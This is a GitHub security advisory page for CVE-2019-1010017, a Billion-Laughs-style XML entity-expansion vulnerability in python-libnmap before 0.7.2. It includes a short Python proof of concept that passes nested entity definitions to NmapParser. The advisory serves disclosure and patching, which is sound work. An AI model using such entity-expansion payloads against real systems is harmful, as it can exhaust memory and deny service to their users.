~ / search / GHSA-9ccv-p7fg-m73x

GHSA-9ccv-p7fg-m73x

XML Injection in python-libnmap

Source: GitHub Advisory Database (reviewed) High CVE-2019-1010017

Packages

EcosystemPackageAffectedFixed in
PyPI python-libnmap < 0.7.2 0.7.2

Details

As written in the advisory (Markdown source, shown as plain text).

### Description python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability. ### PoC ```python ty = NmapParser() payload = """ <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> ]> <lolz><hello>&lol3;</hello></lolz> """ ty.parse(payload) ```

References

External links from the advisory. They lead to third-party sites.